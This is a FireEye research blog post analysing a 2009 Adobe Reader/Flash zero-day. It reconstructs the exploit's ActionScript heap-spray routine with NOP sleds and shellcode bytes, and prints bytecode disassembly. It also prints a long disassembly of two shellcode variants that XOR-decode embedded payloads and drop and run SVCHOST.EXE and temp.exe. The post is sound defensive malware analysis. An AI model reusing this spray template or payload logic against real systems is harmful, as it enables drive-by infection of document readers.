Jump to content

FireEye Malware

Intelligence Lab

Threat research, analysis, and mitigation

« Previous Post | Main | Next Post »

Heap Spraying with Actionscript

Why turning off Javascript won't help this time

Introduction

As you may have heard, there's a new Adobe PDF-or-Flash-or-something 0-day in the wild. So this is a quick note about how it's implemented, but this blog post is not going to cover any details about the exploit itself.

Background Summary

Most of the Acrobat exploits over the last several months use the, now common, heap spraying technique, implemented in Javascript/ECMAscript, a Turing complete language that Adobe thought would go well with static documents. (Cause that went so well for Postscript) (Ironically, PDF has now come full circle back to having the features of Postscript that it was trying to get away from.) The exploit could be made far far less reliable, by disabling Javascript in your Adobe Acrobat Reader.

But apparently there's no easy way to disable Flash through the UI. US-CERT recommends renaming the %ProgramFiles%\Adobe\Reader 9.0\Reader\authplay.dll and %ProgramFiles%\Adobe\Reader 9.0\Reader\rt3d.dll files. [Edit: Actually the source for this advice is the Adobe Product Security Incident Response Team (PSIRT).]

Anyway, here's why… Flash has it's own version of ECMAScript called Actionscript, and whoever wrote this new 0-day, finally did something new by implementing the heap-spray routine with Actionscript inside of Flash.

Details

Actionscript is tokenized/compiled into an instruction set for an Actionscript Virtual Machine [AVM¹] and it retains much of the same shape in bytecode form, as the original Actionscript source. This makes it fairly easy to de-compile the byte code back into something easier to read. For example: [Original flash filename replaced with xxxxx here]


     constructor * <q>[public]xxxxx_fla::MainTimeline=()(0 params, 0 optional)
     [stack:3 locals:1 scope:10-11 flags:]
     {
         00000) + 0:0 getlocal_0
         00001) + 1:0 pushscope
         00002) + 0:1 getlocal_0
         00003) + 1:1 constructsuper 0 params
         00004) + 0:1 findpropstrict <q>[public]::addFrameScript
         00005) + 1:1 pushbyte 0
         00006) + 2:1 getlex <q>[packageinternal]xxxxx_fla::frame1
         00007) + 3:1 callpropvoid <q>[public]::addFrameScript, 2 params
         00008) + 0:1 returnvoid
     }

This may be incorrect, because I'm using only the fantastic power of my own brain to decompile this, but this is approximately what it says in English, er I mean Actionscript:

var whatever:MovieClip = new MovieClip();
     whatever:addframeScript(0, frame1);

And then frame1 [see Appendix] is vaguely like this:

function frame1():void {
    var a:String = "\13\13\13\13";
    var b:String = "\0c\0c\0c\0c"; // A heap address, and effectively x86 NOPs
    while ( b.length < 0x1000000 ) {
       b = b + a;
    }
    // This brings us to instruction line 18 (see below)
    var byteArr:ByteArray = new ByteArray(); // lines 19 thru 22
    byteArr.writeByte(0x40); // lines 23 thru 34
    byteArr.writeByte(0x40);
    byteArr.writeByte(0x40);
    byteArr.writeByte(0x40);
    // lines 36 thru 46     
    while (byteArr.length < 64 * 0x100000) {
       byteArr.writeMultiByte(b, "iso-8859-1");
    }
    // line 47 onwards
    byteArr.writeByte(0x90); // NOP
    byteArr.writeByte(0x90); // NOP
    byteArr.writeByte(0x90); // NOP
    byteArr.writeByte(0x90); // NOP
    byteArr.writeByte(0x81); // 81EC 20010000 → SUB ESP,0x120
    byteArr.writeByte(0xEC);
    byteArr.writeByte(0x20);
    byteArr.writeByte(0x01);
    byteArr.writeByte(0x00);
    byteArr.writeByte(0x00);
    // etc. etc. etc. building up the shellcode one byte at a time
}

Appendix

This is the output from the excellent SWFTools.


     slot 0: var <q>[public]::a:NULL
     slot 0: var <q>[public]::byteArr:<q>[public]flash.utils::ByteArray
     slot 0: var <q>[public]::b:NULL
      method * <q>[packageinternal]xxxxx_fla::frame1=()(0 params, 0 optional)
     [stack:3 locals:1 scope:10-11 flags:] slot:0
     {
         00000) + 0:0 getlocal_0
         00001) + 1:0 pushscope
         00002) + 0:1 findproperty <q>[public]::b
         00003) + 1:1 pushstring "\0c\0c\0c\0c"
         00004) + 2:1 initproperty <q>[public]::b
         00005) + 0:1 findproperty <q>[public]::a
         00006) + 1:1 pushstring "\13\13\13\13"
         00007) + 2:1 initproperty <q>[public]::a
         00008) + 0:1 jump ->15
         00009) + 0:1 label
         00010) + 0:1 findproperty <q>[public]::b
         00011) + 1:1 getlex <q>[public]::b
         00012) + 2:1 getlex <q>[public]::a
         00013) + 3:1 add
         00014) + 2:1 initproperty <q>[public]::b
         00015) + 0:1 getlex <q>[public]::b
         00016) + 1:1 getproperty <multi>{
                      [private]NULL,[public]"",
                      [private]NULL,[public]xxxxx_fla,
                      [packageinternal]xxxxx_fla,
                      [namespace]http://adobe.com/AS3/2006/builtin,
                      [public]adobe.utils,
                      [public]flash.accessibility,
                      [public]flash.display,
                      [public]flash.errors,
                      [public]flash.events,
                      [public]flash.external,
                      [public]flash.filters,
                      [public]flash.geom,
                      [public]flash.media,
                      [public]flash.net,
                      [public]flash.printing,
                      [public]flash.system,
                      [public]flash.text,
                      [public]flash.ui,
                      [public]flash.utils,
                      [public]flash.xml,
                      [protected]xxxxx_fla:MainTimeline,
                      [staticprotected]xxxxx_fla:MainTimeline,
                      [staticprotected]flash.display:MovieClip,
                      [staticprotected]flash.display:Sprite,
                      [staticprotected]flash.display:DisplayObjectContainer,
                      [staticprotected]flash.display:InteractiveObject,
                      [staticprotected]flash.display:DisplayObject,
                      [staticprotected]flash.events:EventDispatcher,
                      [staticprotected]Object
                      }::length
         00017) + 1:1 pushint 1048576
         00018) + 2:1 iflt ->9
         00019) + 0:1 findproperty <q>[public]::byteArr
         00020) + 1:1 findpropstrict <q>[public]flash.utils::ByteArray
         00021) + 2:1 constructprop <q>[public]flash.utils::ByteArray, 0 params
         00022) + 2:1 initproperty <q>[public]::byteArr
         00023) + 0:1 getlex <q>[public]::byteArr
         00024) + 1:1 pushbyte 64
         00025) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00026) + 0:1 getlex <q>[public]::byteArr
         00027) + 1:1 pushbyte 64
         00028) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00029) + 0:1 getlex <q>[public]::byteArr
         00030) + 1:1 pushbyte 64
         00031) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00032) + 0:1 getlex <q>[public]::byteArr
         00033) + 1:1 pushbyte 64
         00034) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00035) + 0:1 jump ->41
         00036) + 0:1 label
         00037) + 0:1 getlex <q>[public]::byteArr
         00038) + 1:1 getlex <q>[public]::b
         00039) + 2:1 pushstring "iso-8859-1"
         00040) + 3:1 callpropvoid <q>[public]::writeMultiByte, 2 params
         00041) + 0:1 getlex <q>[public]::byteArr
         00042) + 1:1 getproperty <q>[public]::length
         00043) + 1:1 pushint 1048576
         00044) + 2:1 pushbyte 64
         00045) + 3:1 multiply
         00046) + 2:1 iflt ->36
         00047) + 0:1 getlex <q>[public]::byteArr
         00048) + 1:1 pushshort 144
         00049) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00050) + 0:1 getlex <q>[public]::byteArr
         00051) + 1:1 pushshort 144
         00052) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00053) + 0:1 getlex <q>[public]::byteArr
         00054) + 1:1 pushshort 144
         00055) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00056) + 0:1 getlex <q>[public]::byteArr
         00057) + 1:1 pushshort 144
         00058) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00059) + 0:1 getlex <q>[public]::byteArr
         00060) + 1:1 pushshort 144
         […]

And as Bojan Zdrnja at ISC points out, there are two different shellcode payloads being used. I might write something more about these tomorrow (no promises). Most of the changed lines in this diff, are just jump offsets, which are different between the two, as there was some code added/deleted between them, and I haven't normalized this yet.

90nop
90nop
90nop
90nop
90nop
90nop
90nop
90nop
90nop
90nop
90nop
90nop
81EC20010000sub esp,0x120
81EC20010000sub esp,0x120
8BFCmov edi,esp
8BFCmov edi,esp
83C704add edi,byte +0x4
83C704add edi,byte +0x4
C7073274910Cmov dword [edi],0xc917432
C7073274910Cmov dword [edi],0xc917432
C747048E130AACmov dword [edi+0x4],0xac0a138e
C747048E130AACmov dword [edi+0x4],0xac0a138e
C7470839E27D83mov dword [edi+0x8],0x837de239
C7470839E27D83mov dword [edi+0x8],0x837de239
C7470C8FF21861mov dword [edi+0xc],0x6118f28f
C7470C8FF21861mov dword [edi+0xc],0x6118f28f
C747109332E494mov dword [edi+0x10],0x94e43293
C747109332E494mov dword [edi+0x10],0x94e43293
C74714A932E494mov dword [edi+0x14],0x94e432a9
C74714A932E494mov dword [edi+0x14],0x94e432a9
C7471843BEACDBmov dword [edi+0x18],0xdbacbe43
C7471843BEACDBmov dword [edi+0x18],0xdbacbe43
C7471CB2360F13mov dword [edi+0x1c],0x130f36b2
C7471CB2360F13mov dword [edi+0x1c],0x130f36b2
C74720C48D1F74mov dword [edi+0x20],0x741f8dc4
C74720C48D1F74mov dword [edi+0x20],0x741f8dc4
C74724512FA201mov dword [edi+0x24],0x1a22f51
C74724512FA201mov dword [edi+0x24],0x1a22f51
C7472857660DFFmov dword [edi+0x28],0xff0d6657
C7472857660DFFmov dword [edi+0x28],0xff0d6657
C7472C9B878BE5mov dword [edi+0x2c],0xe58b879b
C7472C9B878BE5mov dword [edi+0x2c],0xe58b879b
C74730EDAFFFB4mov dword [edi+0x30],0xb4ffafed
C74730EDAFFFB4mov dword [edi+0x30],0xb4ffafed
E9D6020000jmp dword 0x346|E9D8020000jmp dword 0x348
64A130000000mov eax,[fs:0x30]
64A130000000mov eax,[fs:0x30]
8B400Cmov eax,[eax+0xc]
8B400Cmov eax,[eax+0xc]
8B701Cmov esi,[eax+0x1c]
8B701Cmov esi,[eax+0x1c]
ADlodsd
ADlodsd
8B6808mov ebp,[eax+0x8]
8B6808mov ebp,[eax+0x8]
8BF7mov esi,edi
8BF7mov esi,edi
6A0Dpush byte +0xd
6A0Dpush byte +0xd
59pop ecx
59pop ecx
E877020000call dword 0x301|E879020000call dword 0x303
E2F9loop 0x85
E2F9loop 0x85
8BEEmov ebp,esi
8BEEmov ebp,esi
8B4530mov eax,[ebp+0x30]
8B4530mov eax,[ebp+0x30]
894550mov [ebp+0x50],eax
894550mov [ebp+0x50],eax
81EC00040000sub esp,0x400
81EC00040000sub esp,0x400
8BF4mov esi,esp
8BF4mov esi,esp
83C604add esi,byte +0x4
83C604add esi,byte +0x4
FF552Ccall dword near [ebp+0x2c]
FF552Ccall dword near [ebp+0x2c]
8BD0mov edx,eax
8BD0mov edx,eax
33C0xor eax,eax
33C0xor eax,eax
42inc edx
42inc edx
803A22cmp byte [edx],0x22
803A22cmp byte [edx],0x22
75FAjnz 0xa6
75FAjnz 0xa6
40inc eax
40inc eax
83F802cmp eax,byte +0x2
83F802cmp eax,byte +0x2
75F4jnz 0xa6
75F4jnz 0xa6
42inc edx
42inc edx
33C0xor eax,eax
33C0xor eax,eax
40inc eax
40inc eax
803C0222cmp byte [edx+eax],0x22
803C0222cmp byte [edx+eax],0x22
75F9jnz 0xb5
75F9jnz 0xb5
C6040200mov byte [edx+eax],0x0
C6040200mov byte [edx+eax],0x0
6A00push byte +0x0
6A00push byte +0x0
6880000000push 0x80
6880000000push 0x80
6A03push byte +0x3
6A03push byte +0x3
6A00push byte +0x0
6A00push byte +0x0
6A03push byte +0x3
6A03push byte +0x3
6800000080push 0x80000000
6800000080push 0x80000000
52push edx
52push edx
FF5510call dword near [ebp+0x10]
FF5510call dword near [ebp+0x10]
83F800cmp eax,byte +0x0
83F800cmp eax,byte +0x0
0F8E19020000jng dword 0x2f8|0F8E1B020000jng dword 0x2fa
894530mov [ebp+0x30],eax
894530mov [ebp+0x30],eax
8BFEmov edi,esi
8BFEmov edi,esi
57push edi
57push edi
6800010000push 0x100
6800010000push 0x100
FF5508call dword near [ebp+0x8]
FF5508call dword near [ebp+0x8]
33C0xor eax,eax
33C0xor eax,eax
40inc eax
40inc eax
803C0700cmp byte [edi+eax],0x0
803C0700cmp byte [edi+eax],0x0
75F9jnz 0xef
75F9jnz 0xef
894560mov [ebp+0x60],eax
894560mov [ebp+0x60],eax
C704075C535543mov dword [edi+eax],0x4355535c
C704075C535543mov dword [edi+eax],0x4355535c
C7440704484F5354mov dword [edi+eax+0x4],0x54534f48
C7440704484F5354mov dword [edi+eax+0x4],0x54534f48
C74407082E455845mov dword [edi+eax+0x8],0x4558452e
C74407082E455845mov dword [edi+eax+0x8],0x4558452e
C644070C00mov byte [edi+eax+0xc],0x0
C644070C00mov byte [edi+eax+0xc],0x0
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6A02push byte +0x2
6A02push byte +0x2
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6800000040push 0x40000000
6800000040push 0x40000000
57push edi
57push edi
FF5510call dword near [ebp+0x10]
FF5510call dword near [ebp+0x10]
83F800cmp eax,byte +0x0
83F800cmp eax,byte +0x0
0F8EC7010000jng dword 0x2f8|0F8EC9010000jng dword 0x2fa
894534mov [ebp+0x34],eax
894534mov [ebp+0x34],eax
C7454000000000mov dword [ebp+0x40],0x0
C7454000000000mov dword [ebp+0x40],0x0
81EE00050000sub esi,0x500
81EE00050000sub esi,0x500
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6840250000push 0x2540|6800250000push 0x2500
8B4530mov eax,[ebp+0x30]
8B4530mov eax,[ebp+0x30]
50push eax
50push eax
FF5518call dword near [ebp+0x18]
FF5518call dword near [ebp+0x18]
6A00push byte +0x0
6A00push byte +0x0
8D4540lea eax,[ebp+0x40]
8D4540lea eax,[ebp+0x40]
50push eax
50push eax
6A08push byte +0x8|6A30push byte +0x30
56push esi
56push esi
FF7530push dword [ebp+0x30]
FF7530push dword [ebp+0x30]
FF551Ccall dword near [ebp+0x1c]
FF551Ccall dword near [ebp+0x1c]
8B06mov eax,[esi]|89B580000000mov [ebp+0x80],esi


→8B4628mov eax,[esi+0x28]
894558mov [ebp+0x58],eax
894558mov [ebp+0x58],eax
8B4604mov eax,[esi+0x4]|8B462Cmov eax,[esi+0x2c]
894554mov [ebp+0x54],eax
894554mov [ebp+0x54],eax
0500500000add eax,0x5000
0500500000add eax,0x5000
0500B00000add eax,0xb000
0500B00000add eax,0xb000
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
50push eax
50push eax
8B4530mov eax,[ebp+0x30]
8B4530mov eax,[ebp+0x30]
50push eax
50push eax
FF5518call dword near [ebp+0x18]
FF5518call dword near [ebp+0x18]
C7454000000000mov dword [ebp+0x40],0x0
C7454000000000mov dword [ebp+0x40],0x0
C7454400000000mov dword [ebp+0x44],0x0
C7454400000000mov dword [ebp+0x44],0x0
33DBxor ebx,ebx
33DBxor ebx,ebx
8B5D58mov ebx,[ebp+0x58]
8B5D58mov ebx,[ebp+0x58]
6A00push byte +0x0
6A00push byte +0x0
8D4540lea eax,[ebp+0x40]
8D4540lea eax,[ebp+0x40]
50push eax
50push eax
6800040000push 0x400
6800040000push 0x400
56push esi
56push esi
FF7530push dword [ebp+0x30]
FF7530push dword [ebp+0x30]
FF551Ccall dword near [ebp+0x1c]
FF551Ccall dword near [ebp+0x1c]
33C9xor ecx,ecx
33C9xor ecx,ecx
B900040000mov ecx,0x400
B900040000mov ecx,0x400
80740EFF97xor byte [esi+ecx-0x1],0x97
80740EFF97xor byte [esi+ecx-0x1],0x97
E2F9loop 0x1ad|E2F9loop 0x1b4
8BC3mov eax,ebx
8BC3mov eax,ebx
2D00040000sub eax,0x400
2D00040000sub eax,0x400
83F800cmp eax,byte +0x0
83F800cmp eax,byte +0x0
7F03jg 0x1c3|7F03jg 0x1ca
895D40mov [ebp+0x40],ebx
895D40mov [ebp+0x40],ebx
6A00push byte +0x0
6A00push byte +0x0
8D4544lea eax,[ebp+0x44]
8D4544lea eax,[ebp+0x44]
50push eax
50push eax
FF7540push dword [ebp+0x40]
FF7540push dword [ebp+0x40]
56push esi
56push esi
FF7534push dword [ebp+0x34]
FF7534push dword [ebp+0x34]
FF5520call dword near [ebp+0x20]
FF5520call dword near [ebp+0x20]
81EB00040000sub ebx,0x400
81EB00040000sub ebx,0x400
83FB00cmp ebx,byte +0x0
83FB00cmp ebx,byte +0x0
7FB6jg 0x194|7FB6jg 0x19b
FF7534push dword [ebp+0x34]
FF7534push dword [ebp+0x34]
FF5528call dword near [ebp+0x28]
FF5528call dword near [ebp+0x28]
6A00push byte +0x0
6A00push byte +0x0
57push edi
57push edi
FF5524call dword near [ebp+0x24]
FF5524call dword near [ebp+0x24]
8B4560mov eax,[ebp+0x60]
8B4560mov eax,[ebp+0x60]
C704075C74656Dmov dword [edi+eax],0x6d65745c
C704075C74656Dmov dword [edi+eax],0x6d65745c
C7440704702E6578mov dword [edi+eax+0x4],0x78652e70
C7440704702E6578mov dword [edi+eax+0x4],0x78652e70
C744070865000000mov dword [edi+eax+0x8],0x65
C744070865000000mov dword [edi+eax+0x8],0x65
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6A02push byte +0x2
6A02push byte +0x2
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6800000040push 0x40000000
6800000040push 0x40000000
57push edi
57push edi
FF5510call dword near [ebp+0x10]
FF5510call dword near [ebp+0x10]
83F800cmp eax,byte +0x0
83F800cmp eax,byte +0x0
0F8ED8000000jng dword 0x2f8|0F8ED3000000jng dword 0x2fa
894534mov [ebp+0x34],eax
894534mov [ebp+0x34],eax
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6800500000push 0x5000
6800500000push 0x5000
8B4530mov eax,[ebp+0x30]
8B4530mov eax,[ebp+0x30]
50push eax
50push eax
FF5518call dword near [ebp+0x18]
FF5518call dword near [ebp+0x18]
C7454000000000mov dword [ebp+0x40],0x0
C7454000000000mov dword [ebp+0x40],0x0
C7454400000000mov dword [ebp+0x44],0x0
C7454400000000mov dword [ebp+0x44],0x0
33DBxor ebx,ebx
33DBxor ebx,ebx
8B5D54mov ebx,[ebp+0x54]
8B5D54mov ebx,[ebp+0x54]
81C300B00000add ebx,0xb000
81C300B00000add ebx,0xb000
6A00push byte +0x0
6A00push byte +0x0
8D4540lea eax,[ebp+0x40]
8D4540lea eax,[ebp+0x40]
50push eax
50push eax
6800040000push 0x400
6800040000push 0x400
56push esi
56push esi
FF7530push dword [ebp+0x30]
FF7530push dword [ebp+0x30]
FF551Ccall dword near [ebp+0x1c]
FF551Ccall dword near [ebp+0x1c]
33C9xor ecx,ecx
33C9xor ecx,ecx
B900040000mov ecx,0x400
B900040000mov ecx,0x400
80740EFFA0xor byte [esi+ecx-0x1],0xa0
80740EFFA0xor byte [esi+ecx-0x1],0xa0
E2F9loop 0x265|E2F9loop 0x26c
8BC3mov eax,ebx
8BC3mov eax,ebx
2D00040000sub eax,0x400
2D00040000sub eax,0x400
83F800cmp eax,byte +0x0
83F800cmp eax,byte +0x0
7F03jg 0x27b|7F03jg 0x282
895D40mov [ebp+0x40],ebx
895D40mov [ebp+0x40],ebx
6A00push byte +0x0
6A00push byte +0x0
8D4544lea eax,[ebp+0x44]
8D4544lea eax,[ebp+0x44]
50push eax
50push eax
FF7540push dword [ebp+0x40]
FF7540push dword [ebp+0x40]
56push esi
56push esi
FF7534push dword [ebp+0x34]
FF7534push dword [ebp+0x34]
FF5520call dword near [ebp+0x20]
FF5520call dword near [ebp+0x20]
81EB00040000sub ebx,0x400
81EB00040000sub ebx,0x400
83FB00cmp ebx,byte +0x0
83FB00cmp ebx,byte +0x0
7FB6jg 0x24c|7FB6jg 0x253


→6A00push byte +0x0


→6A00push byte +0x0


→6800250000push 0x2500


→8B4530mov eax,[ebp+0x30]


→50push eax


→FF5518call dword near [ebp+0x18]


→6A00push byte +0x0


→8D4540lea eax,[ebp+0x40]


→50push eax


→6A30push byte +0x30


→56push esi


→FF7530push dword [ebp+0x30]


→FF551Ccall dword near [ebp+0x1c]


→89B580000000mov [ebp+0x80],esi
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6A00push byte +0x0
6800900000push 0x9000
6800900000push 0x9000
8B4534mov eax,[ebp+0x34]
8B4534mov eax,[ebp+0x34]
50push eax
50push eax
FF5518call dword near [ebp+0x18]
FF5518call dword near [ebp+0x18]
FF552Ccall dword near [ebp+0x2c]|8B8580000000mov eax,[ebp+0x80]
33C9xor ecx,ecx←

33D2xor edx,edx←

803C0822cmp byte [eax+ecx],0x22←

7501jnz 0x2b4←

42inc edx←

83FA03cmp edx,byte +0x3←

740Bjz 0x2c4←

81F904010000cmp ecx,0x104←

7437jz 0x2f8←

41inc ecx←

EBE9jmp short 0x2ad←

03C1add eax,ecx←

40inc eax←

33C9xor ecx,ecx←

803C0822cmp byte [eax+ecx],0x22←

7403jz 0x2d2←

41inc ecx←

EBF7jmp short 0x2c9←

C6040800mov byte [eax+ecx],0x0←

6A00push byte +0x0
6A00push byte +0x0
8D4D44lea ecx,[ebp+0x44]
8D4D44lea ecx,[ebp+0x44]
51push ecx
51push ecx
FF7540push dword [ebp+0x40]
FF7540push dword [ebp+0x40]
50push eax
50push eax
FF7534push dword [ebp+0x34]
FF7534push dword [ebp+0x34]
FF5520call dword near [ebp+0x20]
FF5520call dword near [ebp+0x20]
FF7534push dword [ebp+0x34]
FF7534push dword [ebp+0x34]
FF5528call dword near [ebp+0x28]
FF5528call dword near [ebp+0x28]
6A00push byte +0x0
6A00push byte +0x0
57push edi
57push edi
FF5524call dword near [ebp+0x24]
FF5524call dword near [ebp+0x24]
FF7530push dword [ebp+0x30]
FF7530push dword [ebp+0x30]
FF5528call dword near [ebp+0x28]
FF5528call dword near [ebp+0x28]
FF5504call dword near [ebp+0x4]
FF5504call dword near [ebp+0x4]
6A00push byte +0x0
6A00push byte +0x0
50push eax
50push eax
FF550Ccall dword near [ebp+0xc]
FF550Ccall dword near [ebp+0xc]
51push ecx
51push ecx
56push esi
56push esi
8B753Cmov esi,[ebp+0x3c]
8B753Cmov esi,[ebp+0x3c]
8B742E78mov esi,[esi+ebp+0x78]
8B742E78mov esi,[esi+ebp+0x78]
03F5add esi,ebp
03F5add esi,ebp
56push esi
56push esi
8B7620mov esi,[esi+0x20]
8B7620mov esi,[esi+0x20]
03F5add esi,ebp
03F5add esi,ebp
33C9xor ecx,ecx
33C9xor ecx,ecx
49dec ecx
49dec ecx
41inc ecx
41inc ecx
ADlodsd
ADlodsd
03C5add eax,ebp
03C5add eax,ebp
33DBxor ebx,ebx
33DBxor ebx,ebx
0FBE10movsx edx,byte [eax]
0FBE10movsx edx,byte [eax]
3AD6cmp dl,dh
3AD6cmp dl,dh
7408jz 0x32a|7408jz 0x32c
C1CB07ror ebx,0x7
C1CB07ror ebx,0x7
03DAadd ebx,edx
03DAadd ebx,edx
40inc eax
40inc eax
EBF1jmp short 0x31b|EBF1jmp short 0x31d
3B1Fcmp ebx,[edi]
3B1Fcmp ebx,[edi]
75E7jnz 0x315|75E7jnz 0x317
5Epop esi
5Epop esi
8B5E24mov ebx,[esi+0x24]
8B5E24mov ebx,[esi+0x24]
03DDadd ebx,ebp
03DDadd ebx,ebp
668B0C4Bmov cx,[ebx+ecx*2]
668B0C4Bmov cx,[ebx+ecx*2]
8B5E1Cmov ebx,[esi+0x1c]
8B5E1Cmov ebx,[esi+0x1c]
03DDadd ebx,ebp
03DDadd ebx,ebp
8B048Bmov eax,[ebx+ecx*4]
8B048Bmov eax,[ebx+ecx*4]
03C5add eax,ebp
03C5add eax,ebp
ABstosd
ABstosd
5Epop esi
5Epop esi
59pop ecx
59pop ecx
C3ret
C3ret
E825FDFFFFcall dword 0x70|E823FDFFFFcall dword 0x70
61popad
61popad
6Bdb 0x6B
6Bdb 0x6B
61popad
61popad
6Bdb 0x6B
6Bdb 0x6B

¹The only document I've found on this so far: avm2overview.pdf All other information is in source code form.

Julia Wolf @ FireEye Malware Intelligence Lab
Questions/Comments to research [@] fireeye [.] com

Account Deleted on 2009.07.23 Exploit Research Share

TrackBack

TrackBack URL for this entry:
http://www.typepad.com/services/trackback/6a00d835018afd53ef01157132914b970c

Listed below are links to weblogs that reference Heap Spraying with Actionscript:

Recent Comments

Feed You can follow this conversation by subscribing to the comment feed for this post.

The comments to this entry are closed.